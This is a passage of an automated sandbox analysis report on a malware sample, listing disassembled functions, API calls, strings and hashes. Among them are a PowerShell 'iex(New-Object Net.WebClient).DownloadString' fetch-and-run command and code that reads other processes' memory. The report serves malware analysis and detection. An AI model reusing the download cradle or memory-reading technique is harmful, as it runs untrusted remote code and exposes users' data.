DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F0,0000000C,0041AC2A,?,0041AC39), ref: 0041B42A

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: b7f77734ebbf3840f36807ba88357d63e713c7e7dec9936b016044a468d43742
Instruction ID: 63863d844e937e4da23c5f373c227dc8c5909fe93770eb0c6870133be37feb4a
Opcode Fuzzy Hash: b7f77734ebbf3840f36807ba88357d63e713c7e7dec9936b016044a468d43742
Instruction Fuzzy Hash: 05314874900309DFDF109FA9C9452DEBAF1FF48314F10802BE454A6262CBB94891DFAE

Function 6C7EAE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C7EAEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C7EAECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7EAEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C7EAF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C909500), ref: 6C7EAF23

Part of subcall function 6C83F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C83F0C8
Part of subcall function 6C83F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C83F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C7EAF37

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 82a9643704b6e35dc1d3df0d34ab8e60d6cf8b1dba2e3ae1f65dc2d5420ac1f5
Instruction ID: 51d2de16c2be1689f886ff95a0041179c65201539504de9e8111717efe0b7fb4
Opcode Fuzzy Hash: 82a9643704b6e35dc1d3df0d34ab8e60d6cf8b1dba2e3ae1f65dc2d5420ac1f5
Instruction Fuzzy Hash: 652128729092009BEB108F189E41B9A7FF4AF9973CF144729EC589B7D1E731D50887A6

Function 6C86EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C86EE85
realloc.MOZGLUE(B4FB89E7,?), ref: 6C86EEAE
PORT_Alloc_Util.NSS3(?), ref: 6C86EEC5

Part of subcall function 6C840BE0: malloc.MOZGLUE(6C838D2D,?,00000000,?), ref: 6C840BF8
Part of subcall function 6C840BE0: TlsGetValue.KERNEL32(6C838D2D,?,00000000,?), ref: 6C840C15

htonl.WSOCK32(?), ref: 6C86EEE3
htonl.WSOCK32(00000000,?), ref: 6C86EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C86EF01

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: bd2233b4c80bf05a5b05f3ea58bccf1178603d249f8c3ad77896e0ac575ce999
Instruction ID: 4c27a0d8bb9c70beba8db56982893618f99e1ede016ce69c2000a412e84ac3c5
Opcode Fuzzy Hash: bd2233b4c80bf05a5b05f3ea58bccf1178603d249f8c3ad77896e0ac575ce999
Instruction Fuzzy Hash: 4521D331A002149FCB209F29DE8079A77A4EF45358F148579EC199FA41E730EC14CBE2

Function 6C81EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C81EE49

Part of subcall function 6C83FAB0: free.MOZGLUE(?,-00000001,?,?,6C7DF673,00000000,00000000), ref: 6C83FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C81EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C81EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C81EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C81EEB3

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: abdaf57b65853427126a73fe41c4f008bd672d6ba5d210f768bdffe3289d48ec
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 2F2135B6A042116BEB208E58DD85EABB3A8EF05708F0408B4FD089BB12F771DC1487F1

Function 0041C9DE Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C9EA

Part of subcall function 0041BF9F: __getptd_noexit.LIBCMT ref: 0041BFA2
Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__amsg_exit.LIBCMT ref: 0041CA0A
__lock.LIBCMT ref: 0041CA1A
InterlockedDecrement.KERNEL32(?), ref: 0041CA37
free.MSVCRT ref: 0041CA4A
InterlockedIncrement.KERNEL32(0042B558), ref: 0041CA62

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 9842265763d25ebdd135a5071e54c4fa9195cc385294f2eefb115a4ad94e6967
Instruction ID: 63787520114d18ae3399c837c16bfac6c494309a1b2e91ce42418771fe72ad0a
Opcode Fuzzy Hash: 9842265763d25ebdd135a5071e54c4fa9195cc385294f2eefb115a4ad94e6967
Instruction Fuzzy Hash: DD01C431A817299BC722EB669C857DE77A0BF04794F11811BE814A7390C73C69D2CBDD

Function 6C7CAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7CAFDA

Strings

misuse, xrefs: 6C7CAFCE
unable to delete/modify collation sequence due to active statements, xrefs: 6C7CAF5C
%s at line %d of [%.10s], xrefs: 6C7CAFD3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7CAFC4

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: ed106dc28ea83d84a78b61e7cfeec7f31d76b4cabd96a4174244dc162eaba8f6
Instruction ID: f91964e432f381f10040e5076600748442aa60215043aa31e5b5a8dc40147876
Opcode Fuzzy Hash: ed106dc28ea83d84a78b61e7cfeec7f31d76b4cabd96a4174244dc162eaba8f6
Instruction Fuzzy Hash: 5D912671B042168FDB04CF29C994BAEB7F1BF45325F1985A8E864AB791C330EC01CBA1

Function 00416F00 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00416F1F
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,0041719A,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000), ref: 00416F4D

Part of subcall function 00416BD0: strlen.MSVCRT ref: 00416BE1
Part of subcall function 00416BD0: strlen.MSVCRT ref: 00416C05

VirtualQueryEx.KERNEL32(?,00000000,?,0000001C), ref: 00416F92
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041719A), ref: 004170B3

Part of subcall function 00416DE0: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00416DF8

Strings

@, xrefs: 00416FA6

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @
API String ID: 2950663791-2766056989
Opcode ID: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction ID: da6ee04ed372484ea639f8c5ae6d2cf8ded6d6947598eb42fecba3fc0a9bdd2e
Opcode Fuzzy Hash: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction Fuzzy Hash: 27511CB5E041099BDB04CF98D981AEFBBB5FF88304F108559F919A7340D738EA51CBA5

Function 004069B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 155libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,00406E2A), ref: 00406A19

Strings

*n@, xrefs: 004069BD, 004069C9, 004069DC, 004069E5, 00406A09, 00406A32, 00406A35, 00406AEF, 00406B01, 00406B0D, 00406B16, 00406B93, 00406B49, 00406A4A, 00406A6D, 00406A79, 00406AA1, 00406AD1, 00406AE3, 00406AAD, 00406ABA, 00406A56
*n@, xrefs: 00406B28, 00406BB6, 00406BBB, 00406B65

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: *n@$*n@
API String ID: 1029625771-193229609
Opcode ID: bf609db6eed200fea4b15f7f51f4bbb31f3205db81936f2c349fbd39333cdc99
Instruction ID: a280f62563b1b8af23ece619f3fba2aedbd92eaccb2561d1aa32790852693925
Opcode Fuzzy Hash: bf609db6eed200fea4b15f7f51f4bbb31f3205db81936f2c349fbd39333cdc99
Instruction Fuzzy Hash: DA71C874A00119DFCB04CF48C484BEAB7B2FB88315F158179E80AAF391D739AA91CB95

Function 6C6FF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C6FF480

Part of subcall function 6C6CF100: LoadLibraryW.KERNEL32(shell32,?,6C73D020), ref: 6C6CF122
Part of subcall function 6C6CF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C6CF132

CloseHandle.KERNEL32(00000000), ref: 6C6FF555

Part of subcall function 6C6D14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C6D1248,6C6D1248,?), ref: 6C6D14C9
Part of subcall function 6C6D14B0: memcpy.VCRUNTIME140(?,6C6D1248,00000000,?,6C6D1248,?), ref: 6C6D14EF

Part of subcall function 6C6CEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C6CEEE3

CreateFileW.KERNEL32 ref: 6C6FF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C6FF523

Strings

\oleacc.dll, xrefs: 6C6FF4CB

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: ec2f19bad7fb941f343cc4cbfcb39d980c98f644c32fe2de2602d1a3ac46981b
Instruction ID: da559642217f06fdd298b6f3b2a6532fdb408c61e95cf8239b53726f0eba1ceb
Opcode Fuzzy Hash: ec2f19bad7fb941f343cc4cbfcb39d980c98f644c32fe2de2602d1a3ac46981b
Instruction Fuzzy Hash: 8741D4706087109FE721DF68C984B9BB7F5AF95318F104A2DF5A083650EB70E94ACB97

Function 00412C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

ShellExecuteEx.SHELL32(0000003C), ref: 00412D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00412CC4
<, xrefs: 00412D39
')", xrefs: 00412CB3
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412D04

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: be724a604eb788cc69cb88ea5721ac6dea3b77e10dbfd579f56e69c65ca0a354
Instruction ID: 8aa8f54ed0a99c91faffa02525c95fa844b6858a6ee3c68abfdd9097d7126834
Opcode Fuzzy Hash: be724a604eb788cc69cb88ea5721ac6dea3b77e10dbfd579f56e69c65ca0a354
Instruction Fuzzy Hash: 08410E71D112089ADB14FBA1C991FDDB774AF10314F50401EE016A7192DF786ADBCFA9

Function 6C7D0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C7D0BDE), ref: 6C7D0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C7D0BDE), ref: 6C7D0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C7D0BDE), ref: 6C7D0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C7D0BDE), ref: 6C7D0E32

Strings

%s incr => %d (find lib), xrefs: 6C7D0E2D

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 738c3d55e448785fe5e5bbe20b1fc887f1708b9dd662d3b22026ddb8fc301ce2
Instruction ID: dd77fb8b08b118b6dc031870ef556f0fd384a68dea2712dd2e37ae98e4e4f7be
Opcode Fuzzy Hash: 738c3d55e448785fe5e5bbe20b1fc887f1708b9dd662d3b22026ddb8fc301ce2
Instruction Fuzzy Hash: 1101F1727006209FE720AE289D49E1773ACEB45A09B16487DE949D3A41E761FC1487E1

Function 6C72C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C72C0E9), ref: 6C72C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C72C437
FreeLibrary.KERNEL32(?,6C72C0E9), ref: 6C72C44C

Strings

NtQueryVirtualMemory, xrefs: 6C72C431
ntdll.dll, xrefs: 6C72C413

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d516193b4eacb3cfbe745495b9c80b1d1e66abe5c3fce3c39bfd6e82e7cb4c44
